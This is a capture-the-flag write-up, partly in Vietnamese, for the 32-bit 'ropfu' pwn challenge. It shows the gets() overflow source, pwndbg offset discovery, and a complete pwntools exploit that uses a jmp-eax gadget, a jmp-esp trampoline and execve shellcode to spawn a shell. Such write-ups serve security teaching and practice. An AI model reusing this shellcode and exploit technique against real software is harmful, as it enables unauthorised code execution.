pwn - ropfu

What's ROP?

November 4, 2025 October 14, 2025 Hard
Author Author Hung Nguyen Tuong

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

Mitigation

Solve

pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/ubuntu/ctf/ropfu/vuln

Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────
 EAX  0xffffcf00 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
 EBX  0x61616166 ('faaa')
 ECX  0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2288
 EDX  0xffffcf64 ◂— 0
 EDI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
 ESI  0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
 EBP  0x61616167 ('gaaa')
 ESP  0xffffcf20 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
 EIP  0x61616168 ('haaa')
─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────
Invalid address 0x61616168










─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf20 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0004│     0xffffcf24 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0008│     0xffffcf28 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:000c│     0xffffcf2c ◂— 'laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0010│     0xffffcf30 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
05:0014│     0xffffcf34 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
06:0018│     0xffffcf38 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
07:001c│     0xffffcf3c ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
0 0x61616168 None
   1 0x61616169 None
   2 0x6161616a None
   3 0x6161616b None
   4 0x6161616c None
   5 0x6161616d None
   6 0x6161616e None
   7 0x6161616f None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x61616168
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
pwndbg> cyclic -l aaaa
Finding cyclic pattern of 4 bytes: b'aaaa' (hex: 0x61616161)
Found at offset 0
pwndbg> cyclic -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32

Lúc này return address cách buffer 28 byte, thanh ghi eax thì trỏ đến buffer, còn esp thì đang trỏ đến ngay sau return address.

Chúng ta có thể nghĩ đến việc ghi một shellcode ngắn (23 byte) vào đầu buffer và dùng gadget jmp eax:

ubuntu@hungnt-PC:~/ctf/ropfu$ ROPgadget --bin ./vuln | grep ": jmp eax"
0x0805333b : jmp eax
sh = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = sh.ljust(28, b'\0')
payload += p32(0x0805333b)

Tuy nhiên, cách này gây sigsegv bởi vì trong lúc thực thi shellcode có sử dụng đến stack, nên nó tự ghi đè chính mình và tự làm hỏng.

Thay vì ghi shellcode vào đầu buffer, chúng ta thử ghi shellcode vào ngay sau return address, được esp trỏ đến. Nhưng lại không có gadget jmp esp nào.

ubuntu@hungnt-PC:~/ctf/ropfu$ ROPgadget --bin ./vuln | grep "jmp esp"
ubuntu@hungnt-PC:~/ctf/ropfu$

Chúng ta có thể ghi một jmp esp vào đầu buffer, ghi jmp rax vào return address và ngay sau đó là shellcode mở shell:

payload = asm("jmp esp").ljust(28, b'\0')
payload += p32(0x0805333b)
payload += sh

Script

from pwn import *

context.binary = './vuln'
p = process('./vuln')

sh = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = asm('jmp esp').ljust(28, b'\0')
payload += p32(0x0805333b)
payload += sh

p.sendline(payload)

p.interactive()